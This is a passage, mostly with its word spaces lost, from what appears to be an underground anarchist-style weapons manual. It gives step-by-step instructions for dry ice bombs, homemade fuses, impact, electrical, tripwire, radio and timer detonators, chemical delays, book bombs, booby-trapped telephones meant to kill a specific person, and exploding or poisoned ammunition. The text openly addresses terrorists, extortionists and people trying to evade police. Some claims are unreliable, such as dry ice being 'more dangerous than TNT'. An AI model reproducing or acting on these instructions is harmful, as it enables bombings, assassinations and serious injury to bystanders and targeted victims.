gasoline, the burning charcoal should immediately re ignite it. Nitrous oxide,
hydrogen,propane,acetyleneoranyotherflammablegaswilldonicely.Duringthe
recentgulfwar,fuel/airbombsweretoutedasbeingsecondonlytonuclearweapons
intheirdevastatingeffects.Thesearebasicallysimilartotheabovedevices,except
thatanexplosivechargeisusedtorupturethefuelcontaineranddisperseitovera
widearea.Asecondchargeisusedtodetonatethefuel.Thereactionissaidto
produceamassiveshockwaveandtoburnalltheoxygeninalargearea,causing
suffocation.Another benefitofafuelairexplosiveisthatthegaswillseepinto
fortifiedbunkersandother partially sealedspaces, soalargebombplacedina
building would result in the destruction of the majority of surrounding rooms,

renderingitstructurallyunsound.
Funwithdryicelotsoffunwithdryice
fromtheUsenet
Thereisnostandardformulaforadryicebomb,howeveragenericformisas
follows:Takea2lsodabottle,emptyitcompletely,thenaddabout3/4LbofDry
Ice (crushed works best) and (optional) a quantity of water. Depending on the
conditionofthebottle,theweather,andtheamountandtemperatureofthebottlethe
bombwillgooffin30seconds5minutes.Withoutanywateradded,the2lbottles
willgooftenin37minutesifdroppedintoawarmriverandin45minutesto11/2
hoursinopenair.TheexplosionsoundsequivalenttoanM100._Plastic_16oz.
sodabottlesand1lbottlesworkalmostaswellasdothe2l,howeverglassbottles
aren'tnearlyasloudandcanproducedangerousshrapnel.Remember,theseareloud
!Aclassmateofminesetup10bottlesinanearbyparkwithoutaddingwater.After
thefirsttwowentoff(therewasabout10minutesbetweenexplosions)thePolice
arrivedandspentthenexthourtryingtofindtheguywhotheythoughtwassetting
offM100'sallaroundthem.

Usesfordryice
TimeBomb
Getasmallplasticcontainerwithlid(weusedthesmallplasticcansthatholdthe
coatersusedforlargeformatPolaroidfilm).Afilmcanisterwouldprobablywork;
thekeyis,itshouldsealtightlyandtakeafairamountofefforttoopen).Placea
chunkofdryiceinthecan,putonthelidwithoutquitesealingit.Puttheassembled
bombinyourpocketorbehindyourback.Approachthemarkandengageinnormal
conversation.Whenhisattentionisdrawnaway,quicklysealthelidonthebomb,
deposititsomewherewithinafewfeetofthemark,outofobvioussight,thenleave.
Dependingonvariables(you'llwanttoexperimentfirst),you'llhearaloud"pop"and
anevenlouder"Aarrggghhh!"withinaminute,whentheCO2pressurebecomes
sufficienttoblowoffthelid.Inaclutteredlab,thisisdoublynastybecausethemark
willprobablyneverfigureoutwhatmadethenoise.Put23inchesofwaterina2l
plasticpopbottle.Putinasmanychunksofdryiceaspossiblebeforethesmokegets
toothick.Screwonthecap,placeinanappropriateareaandrunlikehell.After
aboutaminute(yourmileagemayvary),ahugeexplosionwillresult,sprayingwater
everywhere,alongwithwhat'sleftofthe2lbottle.MorethingstodowithDryIce:
Hasanyoneeverthrowndryiceintoapublicpool?Aslongasyouchuckitintothe
bottom of the deep end, it's safe and it's really impressive if the water is warm
enough"Funstuff.It screams whenitcomesintocontactwithmetal"."Youcan
safelyholdasmallpieceofdryiceinyourmouthifyoukeepitmovingconstantly.
Itlookslikeyou'resmokingoronfire".
Editor'sNote:Dryicecanbealotoffun,butbeforewarned:Usinganythingbut

plastictocontaindryicebombsissuicidal.DryiceismoredangerousthanTNT,
because it's extremely unpredictable. Even a 2 l bottle can produce some nasty
shrapnel: Onesourcetellsmethathecausedanexplosionwitha2lbottlethat
destroyedametalgarbagecan.Inaddition,itisrumouredthatseveralkidshavebeen
killedbyshardsofglassresultingfromtheuseofaglassbottle.Forsomereason,dry
icebombshavebecomeverypopularinthestateofUtah.Asaresult,dryicebombs
havebeenclassifiedasinfernaldevices,andpossessionisacriminaloffence.
Ignitiondevices
byJollyRoger
Therearemanywaystoigniteexplosivedevices.Thereistheclassic"lightthefuse,
throwthebombandrun"approachandtherearesensitivemercuryswitches,and
manythingsinbetween.Generally,electricaldetonationsystemsaresaferthanfuses,
buttherearetimeswhenfusesaremoreappropriatethanelectricalsystems;itis
difficulttocarryanelectricaldetonationsystemintoastadium,forinstance,without
beingcaught.Adevicewithafuseorimpactdetonatingfusewouldbeeasiertohide.
Fuseignition
Theoldestformofexplosiveignition,fusesareperhapsthefavouritetypeof
simpleignitionsystem.Bysimplyplacingapieceofwaterprooffuseinadevice,one
canhavealmostguaranteedignition.Modernwaterprooffuseisextremelyreliable,
burningatarateofabout2,5secondstotheinch.Itisavailableasmodelrocketry
fuseinmosthobbyshopsandcostsabout$3foraninefootlength.CannonFuseis
apopularignitionsystemforpipebombersbecauseofitssimplicity.Allthatneedbe
doneislightitwithamatchorlighter.Ofcourse,iftheArmyhadfuseslikethis,
thenthegrenade,whichusesfuseignition,wouldbevery impracticable.Ifagrenade
ignitionsystemcanbeacquired,byallmeans,itisthemosteffective.But,sincesuch
thingsdonotjustfloataround,thenextbestthingistoprepareafusesystemwhich
doesnotrequiretheuseofamatchorlighter,butstillretainsitssimplicity.Onesuch
methodisdescribedbelow.
Materials
strikeoncovertypematches;electricaltapeorducttape;waterprooffuse
Todeterminetheburnrateofaparticulartypeoffuse,simplymeasurea6inchor
longerpieceoffuseandigniteit.Withastopwatch,pressthestartbuttontheatthe
instantwhenthefuselightsandstopthewatchwhenthefusereachesitsend.Divide
thetimeofburnbythelengthoffuseandyouhavetheburnrateofthefuse,in
secondsperinch.Thiswillbeshownbelow:Supposeaneightinchpieceoffuseis
burnedanditscompletetimeofcombustionis20seconds:20seconds/8inches=
2,5secondsperinch.Ifadelayof10secondswasdesiredwiththisfuse,dividethe
desiredtimebythenumberofsecondsperinch:10seconds/2,5secondsperinch=

4inches.
Note:Thelengthoffuseheremeanslengthoffusetothepowder.Somefuse,at
leastaninch,shouldbeinsidethedevice.Alwaysaddthisextrainchandputthis
extrainchaninchintothedevice!!!
Afterdecidinghowlongadelayisdesiredbeforetheexplosivedeviceistogooff,
addabout1/2aninchtothepremeasuredamountoffuseandcutitoff.Carefully
removethecardboardmatchesfromthepapermatchcase.Donotpulloffindividual
matches; keep all the matches attached to the cardboard base. Take one of the
cardboardmatchsectionsandleavetheotheronetomakeasecondigniter.Wrapthe
matchesaroundtheendofthefuse,withtheheadsofthematchestouchingthevery
endofthefuse.Tapethemtheresecurely,makingsurenottoputtapeoverthematch
heads. Make sure they are very secure by pulling on them at the base of the
assembly.Theyshouldnotbeabletomove.Wrapthecoverofthematchesaround
thematchesattachedtothefuse,makingsurethatthestrikerpaperisbelowthe
matchheadsandthestrikerfacesthematchheads.Tapethepapersothatisfairly
tightaroundthematches.Donottapethecoverofthestrikertothefuseortothe
matches.Leaveenoughofthematchbooktopullonforignition.
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Thematchbookiswrappedaroundthematches,andistapedtoitself.Thematches
aretapedtothefuse.Thestrikerwillrubagainstthematchheadswhenthematch

bookispulled.Whenreadytouse,simplypullonthematchpaper.Itshouldpullthe
strikingpaperacrossthematchheadswithenoughfrictiontolightthem.Inturn,the
burningmatchheadswilllightthefuse,sinceitadjacenttotheburningmatchheads.

Howtomakeblackmatchfuse
Takeaflatpieceofplasticormetal(brassoraluminiumareeasytoworkwithand
won'trust).Drilla1/16thinchholethroughit.Thisisyourdieforsizingthefuse.
Youcanmakefusesasbigasyouwant,butthisistherightsizeforthepipebombI
willbegettingtolater.Toabout1/2cupofblackpowderaddwatertomakeathin
paste.Add1/2teaspoonofcornstarch.Cutsomeonefootlengthsofcottonthread.
Usecotton,notsilkorthreadmadefromsyntheticfibres.Putthesetogetheruntilyou
haveathicknessthatfillstheholeinthediebutcanbedrawnthroughveryeasily.
Tieyourbundleofthreadstogetheratoneend.Separatethethreadsandholdthe
bundleovertheblackpowdermixture.Lowerthethreadswithacircularmotionso
theystartcurlingontothemixture.Pressthemunderwiththebackofateaspoonand
continueloweringthemsotheycoilintothepaste.Taketheendyouareholdingand
threaditthroughthedie.Pullitthroughsmoothlyinonelongmotion.Todryyour
fuse,layitonapieceofaluminiumfoilandbakeitinyour250degreeovenortieit
toagrillintheovenandletithangdown.Thefusemustbebakedtomakeitstiff
enoughfortheusesitwillbeputtolater.Airdryingwillnotdothejob.Ifyouused
SodiumNitrate,itwillnotevendrycompletelyatroomtemperatures.Cutthe dry
fusewithscissorsinto2inchlengthsandstoreinanairtightcontainer.Handlethis
fusecarefullytoavoidbreakingit.Youcanalsouseafirecrackerfuseifyouhave
anyavailable.Thefusescanusuallybepulledoutwithoutbreaking.Togiveyourself
somerunningtime,youwillbeextendingthesefuses(blackmatchorfirecracker
fuse)withsulphuredwick.Finally,itispossibletomakearelativelyslowburning
fuseinthehome.Bydissolvingaboutoneteaspoonofblackpowderinabout1/4a
cupofboilingwaterand,whileitisstillhot,soakinginitalongpieceofallcotton
string,aslowburningfusecanbemade.Afterthesoakedstringdries,itmustthenbe
tiedtothefuseofanexplosivedevice.Sometimes,theendoftheslowburningfuse
that meets the normal fuse has a charge of black powder or gunpowder at the
intersectionpointtoinsureignition,sincetheslowburningfusedoesnotburnata
veryhightemperature.Asimilartypeofslowfusecanbemadebytakingtheabove
mixtureofboilingwaterandblackpowderandpouringitonalongpieceoftoilet
paper.Thewettoiletpaperisthengentlytwistedupsothatitresemblesafirecracker
fuseandisallowedtodry.
Howtomakesulphuredwick
Useheavycottonstringabout1/8thinchindiameter.Youcanfindsomeata
gardensupplyfortyingupyourtomatoes.Besureit'scotton.Youcantestitby
lightingoneend.Itshouldcontinuetoburnafterthematchisremovedandwhen
blownoutwillhaveasmoulderingcoalontheend.Putsomesulphurinasmall
containerlikeasmallpiepanandmeltitintheovenat250degrees.Itwillmeltinto
atransparentyellowliquid.Ifitstartsturningbrown,itistoohot.Coilaboutaone

footlengthofstringintoit.Themeltedsulphurwillsoakinquickly.Whensaturated,
pullitoutandtieituptocoolandharden.Itcanbecuttodesiredlengthswith
scissors.2inchesisaboutright.Thesewickswillburnslowlywithablueflameand
donotblowouteasilyinamoderatewind.Theywillnotburnthroughaholeina
metal pipe,but aregreat for extendingyour other fuse. They willnotthrowoff
sparks.Blackmatchgeneratessparkswhichcanigniteitalongitslengthcausing
unpredictableburningtimes.
Impactignition
Impact ignition is an excellent method of ignition for spontaneous terrorist
activities.Theproblemwithanimpactdetonatingdeviceisthatitmustbekeptina
verysafecontainersothatitwillnotexplodewhilebeingtransportedtotheplace
whereitistobeused.Thiscanbedonebyhavingaremovableimpactinitiator.The
best andmostreliableimpactinitiatorisonethatusesfactorymadeinitiatorsor
primers.Ano.11capforblackpowderfirearmsisonesuchprimer.Theyusually
comeinboxesof100andcostabout$2,5.Tousesuchacap,however,oneneedsa
nipplethatitwillfiton.Blackpowdernipplesarealsoavailableingunstores.All
thatapersonhastodoisaskforapackageofnipplesandthecapsthatfitthem.
Nippleshaveaholethatgoesallthewaythroughthemandtheyhaveathreadedend
andanendtoputthecapon.Acutawayofanippleisshownbelow:
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Whenmakingusingthistypeofinitiator,aholemustbedrilledintowhatever
containerisusedtomakethebomboutof.Thenippleisthenscrewedintothehole
sothatitfitstightly.Then,thecapcanbecarriedandplacedonthebombwhenitis
tobethrown.Thecapshouldbebentasmallamountbeforeitisplacedonthe
nipple,tomakesurethatitstaysinplace.Theonlyotherprobleminvolvedwithan
impactdetonatingbombisthatitmuststrikeahardsurfaceonthenippletosetitoff.
Byattachingfinsorasmallparachuteontheendofthebomboppositetheprimer,
thebomb,whenthrown,shouldstrikethegroundontheprimerandexplode.Of

course,abombwithmercuryfulminateineachendwillgooffonimpactregardless
ofwhichenditstrikeson,butmercuryfulminateisalsolikelytogooffiftheperson
carryingthebombisbumpedhard.
Magiccubeigniter
A verysensitive andreliableimpactignitercanbeproducedfromthecommon
Magicube($2,4for12)typeflashbulbs.Simplycracktheplasticcoveroff,remove
thereflector,andyouwillsee4bulbs,eachofwhichhasasmallmetalrodholdingit
inplace. Carefullygraspthisrodwithapairofneedlenosepliersandprygently
upwards,makingsurethatmoforceisappliedtotheglassbulb.Eachbulbiscoated
withplastic,whichmustberemovedforthemtobeeffectiveinourapplication.This
coatingcanberemovedbysoakingthebulbsinasmallglassofacetonefor3045
minutes,atwhichpointtheplasticcanbeeasilypeeledaway.Thebestmethodtouse
theseistodissolvesomenitrocellulosebasedsmokelesspowderinacetoneand/or
ether,formingathichgluelikepaste.Coattheendofthefusewiththispaste,then
stickthebulb(withthemetalrodfacingout)intothepaste.Abouthalfthebulb
shouldbecompletelycovered,andifa verythin layerofnitrocelluloseiscoated
overtheremainderthenignitionshouldbeveryreliable.Toinsurethatthedevice
landswiththebulbdown,asmallstreamercanbeattachedtotheoppositeside,so
whenitistossedhighintotheairtheappropriateendwillhitthegroundfirst.
Electricalignition
Electricalignitionsystemsfordetonationareusuallythesafestandmostreliable
formofignition.Electricalsystemsareidealfordemolitionwork,ifonedoesn'thave
toworrysomuchaboutbeingcaught.Withtwospoolsof500ftofwireandacar
battery,onecandetonateexplosivesfroma"safe",comfortabledistanceandbesure
thatthereisnobodyaroundthatcouldgethurt.Withanelectricalsystem,onecan
control exactly what time a device will explode, within fractions of a second.
Detonationcanbeabortedinlessthanasecond'swarning,ifapersonsuddenly
walksbythedetonationsightorifapolicecarchoosestorollbyatthetime.Thetwo
bestelectricalignitersaremilitarysquibsandmodelrocketryigniters.Blasting caps
forconstructionalsoworkwell.Modelrocketryignitersaresoldinpackagesofsix
andcostabout$1perpack.Allthatneedbedonetousethemisconnectittotwo
wiresandrunacurrentthroughthem.Militarysquibsaredifficulttoget,buttheyare
alittlebitbetter,sincetheyexplodewhenacurrentisrunthroughthem,whereas
rocketry igniters only burst into flame. Most squibs will not detonate KclO3/
petroleumjellyorRDX.Thisrequiresablastingcaptypedetonationinmostcases.
Thereare,however,militaryexplosivesquibswhichwilldothejob.Igniterscanbe
usedtosetoffblackpowder,mercuryfulminateorguncotton,whichinturn,canset
ofahighorderexplosive.
Howtomakeanelectricfuse

byCapt.Hack&GW
Takeaflashlightbulbandplaceitglasstipdownonafile.Grinditdownonthe
fileuntilthereisaholeintheend.Solderonewiretothecaseofthebulbandanother
tothecentreconductorattheend.Fillthebulbwithblackpowderorpowdered
matchhead.Oneortwoflashlightbatterieswillheatthefilamentinthebulbcausing
thepowdertoignite.
Anotherelectricfuse
Takeamediumgradeofsteelwoolandpullastrandoutofit.Attachittotheends
oftwopiecesofcopperwirebywrappingitaroundafewturnsandthenpinchona
smallpieceofsoldertobindthestrandtothewire.Youwantabout1/2inchofsteel
strandbetweenthewires.Number18or20isagoodsizewiretouse.Cuta1/2by1
inch piece of cardboardof the typeused in match covers. Place a small pileof
powderedmatchheadinthecentreandpressitflat.placethewiressothesteelstrand
isontopofandincontactwiththepowder.Sprinkleonmorepowdertocoverthe
strand.Thestrandshouldbesurroundedwithpowderandnottouchinganythingelse
exceptthewiresatitsends.Placeapieceofblackmatchincontactwiththepowder.
Nowputapieceofmaskingtapeontopofthelotandfolditunderonthetwoends.
Pressitdownsoitsticksallaroundthepowder.Thewiresarestickingoutonone
sideandtheblackmatchontheother.Asingleflashlightbatterywillsetthisoff.
Electromechanicalignition
Electromechanicalignitionsystemsaresystemsthatusesometypeofmechanical
switchtosetoffanexplosivechargeelectrically.Thistypeofswitchistypicallyused
inboobytrapsorotherdevicesinwhichthepersonwhoplacesthebombdoesnot
wishtobeanywherenearthedevicewhenitexplodes.Severaltypesofelectro
mechanicaldetonatorswillbediscussed.

MercurySwitches
Mercuryswitchesareaswitchthatusesthefactthatmercurymetalconducts
electricity,asdoallmetals,butmercurymetalisaliquidatroomtemperatures.A
typical mercury switch is asealed glass tube withtwo electrodes and abead of
mercurymetal.It issealedbecauseof mercury'snastyhabitofgivingoffbrain
damagingvapours.Thediagrambelowmayhelptoexplainamercuryswitch.
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When the drop of mercury ("Hg" is mercury's atomic symbol) touches both
contacts,currentflowsthroughtheswitch.Ifthisparticularswitchwasinitspresent
position,AB,currentwouldbeflowing,sincethemercurycantouchbothcontacts
inthehorizontalposition.If,however,itwasinthe|position,thedropofmercury
wouldonlytouchthe+contactontheAside.Current,thencouldn'tflow,since
mercurydoesnotreachbothcontactswhentheswitchisintheverticalposition.This
typeofswitchisidealtoplacebyadoor.Ifitwereplacedinthepathofaswinging
doorintheverticalposition,themotionofthedoorwouldknocktheswitchdown,if
itwasheldtothegroundbyapieceiftape.Thiswouldtilttheswitchintothevertical
position, causing the mercury to touch both contacts, allowing current to flow
throughthemercuryandtotheigniterorsquibinanexplosivedevice.
TripwireSwitches
Atripwireisanelementoftheclassicboobytrap.Byplacinganearlyinvisibleline
ofstringorfishinglineintheprobablepathofavictim,andbyputtingsometypeof
traptherealso,nastythingscanbecausedtooccur.Ifthismodeofthoughtisapplied
toexplosives,howwouldoneusesuchatripwiretodetonateabomb.Thetechnique
issimple.Bywrappingthetipsofastandardclothesspinwithaluminiumfoiland
placing something between them, and connecting wires to each aluminium foil
contact,anelectrictripwirecanbemade,Ifapieceofwoodattachedtothetripwire
wasplacedbetweenthecontactsontheclothesspin,theclothesspinwouldserveas
a switch. When the tripwire was pulled, the clothes spin would snap together,
allowing current to flow between the two pieces of aluminium foil, thereby
completingacircuit,whichwouldhavetheigniterorsquibinit.Currentwouldflow
betweenthecontactstotheigniterorsquib,heattheigniterorsquib,causingititto
explode.Makesurethatthealuminiumfoilcontactsdonottouchthespring,since
thespringalsoconductselectricity.
RadioControlDetonators
Inthemovies,everyterroristorcriminalusesaradiocontrolleddetonatortosetoff
explosives.Withagoodradiodetonator,onecanbeseveralmilesawayfromthe
device and still control exactly when it explodes, in much the same way as an
electricalswitch.Theproblemwithradiodetonatorsisthattheyarerathercostly.
However,therecouldpossiblybeareasonthataterroristwouldwishtospendthe
amounts of money involved with a RC (radio control) system and use it as a
detonator.IfsuchanindividualwantedtodeviseanRCdetonator,allhewouldneed

todoisvisitthelocalhobbystoreortoystoreandbuyaradiocontrolledtoy.Taking
itbacktohis/herabode,allthathe/shewouldhavetodoisdetachthesolenoid/
motorthatcontrolsthemotionofthefrontwheelsofaRCcarordetachthesolenoid/
motoroftheelevators/rudderofaRCplane,ortherudderofaRCboatandre
connectthesquiborrocketengineignitertothecontactsforthesolenoid/motor.The
device should be tested several times with squibs or igniters and fully charged
batteriesshouldbeinbothhecontrollerandthereceiver(thepartthatusedtomove
partsbeforethedevicebecameadetonator).
Delays
Adelayisadevicewhichcausestimetopassfromwhenadeviceissetuptothe
timethatitexplodes.Aregularfuseisadelay,butitwouldcostquiteabittohavea
24hourdelaywithafuse.Thissectiondealswiththedifferenttypesofdelaysthat
canbeemployedbyaterroristwhowishestobesurethathisbombwillgooff,but
wantstobeoutofthecountrywhenitdoes.
Fusedelays
Itisextremelysimpletodelayexplosivedevicesthatemployfusesforignition.
Perhapsthesimplestwaytodosoiswithacigarette.Anaveragecigaretteburnsfor
between 8 11 minutes. The higher the "tar" and nicotine rating, the slower the
cigaretteburns.Low"tar"andnicotinecigarettesburnquickerthanthehigher"tar"
andnicotinecigarettes,buttheyarealsolesslikelytogooutifleftunattended,i.e.
notsmoked.Dependingonthewindordraftinagivenplace,ahigh"tar"cigaretteis
betterfordelayingtheignitionofafuse,buttheremustbeenoughwindordraftto
givethecigaretteenoughoxygentoburn.Peoplewhousecigarettesforthepurpose
ofdelayingfuseswilloftentestthecigarettesthattheyplantouseinadvanceto
makesuretheystaylitandtoseehowlongitwillburn.Onceacigarettesburnrateis
determined,itisasimplematterofcarefullyputtingaholeallthewaythrougha
cigarettewithatoothpickatthepointdesiredandpushingthefuseforadeviceinthe
holeformed.
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Timerdelays
Timerdelays,or"timebombs"areusuallyemployedbyanindividualwhowishes
tothreatenaplacewithabombanddemandmoneytorevealitslocationandmeans
to disarm it. Such a device could be placed in any populated place if it were
concealedproperly.Thereareseveralwaystobuildatimerdelay.Bysimplyusinga
screwasonecontactatthetimethatdetonationisdesiredandusingthehourhandof
aclockastheothercontact,asimpletimercanbemade.Theminutehandofaclock
should be removed, unless a delay of less than an hour is desired. The main
disadvantagewiththistypeoftimeristhatitcanonlybesetforamaximumtimeof
12hours.Ifanelectronictimerisused,suchasthatinanelectronicclock,then
delaysofupto24hoursarepossible.Byremovingthespeakerfromanelectronic
clockandattachingthewiresofasquiborignitertothem,atimerwithadelayofup
to24hourscanbemade.Allthatonehastodoissetthealarmtimeoftheclockto
thedesiredtime,connecttheleadsandgoaway.Thiscouldalsobedonewithan
electronicwatch,ifalargerbatterywereusedandthecurrenttothespeakerofthe
watchwassteppedupviaatransformer.Thiswouldbegood,sincesuchatimer
couldbeextremelysmall.ThetimerinaVCR(VideoCassetteRecorder)wouldbe
ideal.VCR'scanusuallybesetfortimesofuptoaweek.Theleadsfromthetimer
totherecordingequipmentwouldbetheonesthatanigniter orsquibwouldbe
connectedto.Also,onecanbuytimersfromelectronicsstoresthatwouldbework
well.Finally,onecouldemployadigitalwatchandusearelayorelectromagnetic
switchtofiretheigniter,andthecurrentofthewatchwouldnothavetobestepped
up.

Chemicaldelays
Chemicaldelaysareuncommon,buttheycanbeextremelyeffectiveinsomecases.
ThesewereoftenusedinthebombstheGermansdroppedonEngland.Thedelay
would ensure that a bomb would detonate hours or even days after the initial
bombingraid,therebyincreasingtheterrifyingeffectontheBritishcitizenry.Ifa
glass container is filled with concentrated sulfuric acid, and capped with several
thicknessesofaluminiumfoiloracapthatitwilleatthrough,thenitcanbeusedasa
delay.Sulphuricacidwillreactwithaluminiumfoiltoproducealuminiumsulphate
andhydrogengas,andsothecontainermustbeopentotheairononeendsothatthe
pressureofthehydrogengasthatisformingdoesnotbreakthecontainer.
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Thealuminiumfoilisplacedoverthebottomofthecontainerandsecuredthere
withtape.Whentheacideatsthroughthealuminiumfoil,itcanbeusedtoignitean
explosivedeviceinseveralways.Sulphuricacidisagoodconductorofelectricity.If
theacidthateatsthroughthefoiliscollectedinaglasscontainerplacedunderneath
thefoilandtwowiresareplacedintheglasscontainer,acurrentwillbeabletoflow
throughtheacidwhenbothofthewiresareimmersedintheacid.Sulphuricacid
reactsveryviolentlywithpotassiumchlorate.Iftheaciddripsdownintoacontainer
containing potassium chlorate, the potassium chlorate will burst into flame. This
flamecanbeusedtoigniteafuse,orthepotassiumchloratecanbetheigniterfora
termitebomb,ifsomepotassiumchlorateismixedina50/50ratiowiththetermite,
andthismixtureisusedasanigniterfortherestofthetermite.Sulphuricacidreacts
withpotassiumpermanganateinasimilarway.
Filmcanisters2
originallybyBill
Forarelativelylowshrapnelexplosion,Isuggestpouringitintoanempty35mm
film cannister.Pokeaholeintheplastic lidfor afuse.These goodiesmakean
explosionaudibleamileawayeasily.Poketheholebeforeputtingtheflashpowder
intothecannister.Don'tgetanypowderonthelipofthecannister.Onlyuseavery
smallquantityandworkyourwayuptothedesiredresult.Donotpackthepowder,it
worksbestloose.Donotgrindorrubthemixtureitisfrictionsensitive.Usealong
fuse.
Bookbombs
byExodus
Concealingabombcanbeextremelydifficultinadayandagewhereperpetrators
ofviolencerunwild.Bagsandbriefcasesareoftensearchedbyauthoritieswhenever
oneentersaplacewhereanindividualmightintendtosetoffabomb.Oneapproach
todisguisingabombistobuildwhatiscalledabookbomb;anexplosivedevicethat
isentirelycontainedinsideofabook.Usually,arelativelylargebookisrequired,
andthebookmustbeofthehardbackvarietytohideanyprotrusionsofabomb.
Dictionaries,lawbooks,largetextbooksandothersuchbooksworkwell.Whenan
individual makes a book bomb, he/ she must choose a type of book that is

appropriate for the place where the book bomb will be placed. The actual
constructionofabookbombcanbedonebyanyonewhopossessesanelectricdrill
andacopingsaw.First,allofthepagesofthebookmustbegluedtogether.By
pouringanentirecontainerofwatersolubleglueintoalargebucketandfillingthe
bucketwithboilingwater,agluewatersolutioncanbemadethatwillholdallofthe
book'spagestogethertightly.Afterthegluewatersolutionhascooledtoabearable
temperatureandthesolutionhasbeenstirredwell,thepagesofthebookmustbe
immersedinthegluewatersolution,andeachpagemustbethoroughlysoaked.Itis
extremelyimportantthatthecoversofthebookdonotget stucktothepagesofthe
bookwhilethepagesaredrying.Suspendingthebookbybothcoversandclamping
thepagestogetherinaviseworksbest.Whenthepagesdry,afteraboutthreedaysto
aweek,aholemustbedrilledintothenowrigidpagesandtheyshoulddrillout
muchlikewood.Then,byinsertingthecopingsawbladethroughthepagesand
sawingoutarectanglefromthemiddleofthebook,theindividualwillbeleftwitha
shell of the book's pages. The pages, when drilled out, should look like this:
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Thisrectanglemustbesecurelygluedtothebackcoverofthebook.Afterbuilding
his/herbomb,whichusuallyisofthetimerorradiocontrolledvariety,thebomber
placesitinsidethebook.Thebombitselfandwhatevertimerordetonatorisused,
shouldbepackedinfoamtopreventitfromrollingorshiftingabout.Finally,after
thetimerissetortheradiocontrolhasbeenturnedon,thefrontcoverisgluedclosed
andthebombistakentoitsdestination.
Phonebombs
byExodus
Thephonebombisanexplosivedevicethathasbeenusedinthepasttokillor
injureaspecificindividual.Thebasicideaissimple:whenthepersonanswersthe
phone,thebombexplodes.Ifasmallbutpowerfulhighexplosivedevicewithasquib

wasplacedinthephonereceiver,whenthecurrentflowedthroughthereceiver,the
squibwouldexplode,detonatingthehighexplosiveintheperson'shand.Nasty.All
thathastobedoneisacquireasquibandtapethereceiverswitchdown.Unscrewthe
mouthpiececoverandremovethespeakerandconnectthesquib'sleadswhereitwas.
Placeahighexplosiveputty,suchasC1(seesection3.31)inthereceiverand
screwthecoveron,makingsurethatthesquibissurroundedbytheC1.Hangthe
phone up, and leave the tape in place. When the individual to whom the phone
belongsattemptstoanswerthephone,hewillnoticethetapeand removeit.Thiswill
allowcurrenttoflowthroughthesquib.Notethatthedevicewillnotexplodeby
merelymakingaphonecall;theownerofthephonemustliftupthereceiverand
removethetape.Itishighlyprobablethatthephonewillbebyhis/herearwhenthe
deviceexplodes.

Improvedphonebumb
Theaboveseemsoverlycomplicatedtome.Itwouldbebettertorigthedeviceas
follows:Firstunplugthephonefromthewall.Wirethedetonatorinlinewiththe
wiresgoingtotheearpiece,(mayneedtowireitwitharelay,sothedetonatorcan
receivethefulllinepower,notjusttheaudiopowertotheearpiece).PackC4intothe
phonebody(not thehandset)andplugitbackin.Whentheypickupthephone,
powerwillflowthroughthecircuittothedetonator.
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Specialammunitionforblowguns
byJollyRoger
Theblowgunisaninterestingweaponwhichhasseveraladvantages.Ablowgun
can be extremely accurate, concealable and deliver an explosive or poisoned
projectile.Themanufactureof anexplosive dartor projectileisnotdifficult.To
acquireablowgun,pleasecontacttheeditoratoneoftheaddressesgiveninthe
introduction. Perhaps the most simple design for such involves the use of a pill
capsule,suchasthekindthataretakenforheadachesorallergies.Emptygelatinpill
capsulescanbepurchasedfrommosthealthfoodstores.Next,thecapsulewouldbe
filledwithanimpactsensitiveexplosive,suchasmercuryfulminate.Anadditional
highexplosivechargecouldbeplacedbehindtheimpactsensitiveexplosive,ifone
ofthelargercapsuleswereused.Finally,theexplosivecapsulewouldbereglued

backtogetherandatasselorcottonwouldbegluedtotheendcontainingthehigh
explosive,toinsurethattheimpactdetonatingexplosivestruckthetargetfirst.Such
adevicewouldprobablybeabout3/4ofaninchlong,notincludingthetasselor
cottonandlooksomethinglikethis:
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Caremustbetakenifapowerfuldartwentoffintheblowgun,youcouldeasily
blowthebackofyourheadoff.

Specialammunitionforwristrocketsandslingshots
Amodernwristrocketisaformidableweapon.Itcanthrowashootermarbleabout
500ft.withreasonableaccuracy.Insideof200ft.,itcouldwellbelethaltoamanor
animal,ifitstruckinavitalarea.Becauseoftherelativelylargesizedprojectilethat
canbeusedinawristrocket,thewristrocketcanbeadaptedtothrowrelatively
powerfulexplosiveprojectiles.Asmallsegmentofaluminiumpipecouldbemade
intoanimpactdetonatingdevicebyfillingitwithanimpactsensitiveexplosive
material.Also,suchapipecouldbefilledwithaloworderexplosiveandfittedwith
afuse,whichwouldbelitbeforethedevicewasshot.Onewouldhavetomakesure
thatthefusewasofsufficientlengthtoinsurethatthedevicedidnotexplodebefore
itreacheditsintendedtarget.Finally,.22calibrecaps,suchasthekindthatareused
in.22calibreblankguns,makeexcellentexplodingammunitionforwristrockets,
buttheymustbeusedatarelativelycloserange,becauseoftheirlightweight.
Specialammunitionforfirearms
Whenspecialammunitionisusedincombinationwiththepowerandrapidityof
modernfirearms,itbecomesveryeasytotakeonasmallarmywithasingleweapon.
Itispossibletobuyexplosiveammunition,butthatcanbedifficulttodo.Such
ammunition can also be manufactured in the home. There is, however, a risk
involvedwithmodifyinganyammunition.Iftheammunitionismodifiedincorrectly,
insuchawaythatitmakesthebulleteventheslightestbitwider,anexplosioninthe
barreloftheweaponwilloccur.Forthisreason nobodyshouldeverattemptto
manufacturesuchammunition.
Specialammunitionforhandguns
Ifanindividualwishedtoproduceexplosiveammunitionforhis/herhandgun,

he/shecoulddoit,providedthatthepersonhadanimpactsensitiveexplosiveanda
fewsimpletools.Onewouldfirstpurchaseallleadbulletsandthenmakeoracquire
animpactdetonatingexplosive.Bydrillingaholeinaleadbulletwithadrill,a

spacecouldbecreatedfortheplacementofanexplosive.Afterfillingtheholewith
anexplosive,itwouldbesealedinthebulletwithadropofhotwaxfromacandle.A
diagramofacompletedexplodingbulletisshownbelow.
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Thishollowspacedesignalsoworksforputtingpoisoninbullets.Inmanyspy
thrillers,anassassinisdepictedasmanufacturing"explodingbullets"byplacinga
dropofmercuryinthenoseofabullet.Throughexperimentationithasbeenfound
thatthiswillnotwork.Mercuryreactswithleadtoformainertsilverycompound.
Specialammunitionforshotguns
Becauseoftheirlargeboreandhighpower,itispossibletocreatesomeextremely
powerfulspecialammunitionforuseinshotguns.Ifashotgunshellisopenedatthe
topandtheshotremoved,theshellcanbereclosed.Then,ifonecan findavery
smooth,lightweightwoodendowelthatisclosetotheborewidthoftheshotgun,a
personcanmakeseveraltypesofshotgunlaunchedweapons.Insertthedowelinthe
barreloftheshotgunwiththeshellwithouttheshotinthefiringchamber.Markthe
dowelaboutsixinchesawayfromtheendofthebarrel,andremoveitfromthe
barrel.Next,decidewhattypeofexplosiveorincendiarydeviceistobeused.This
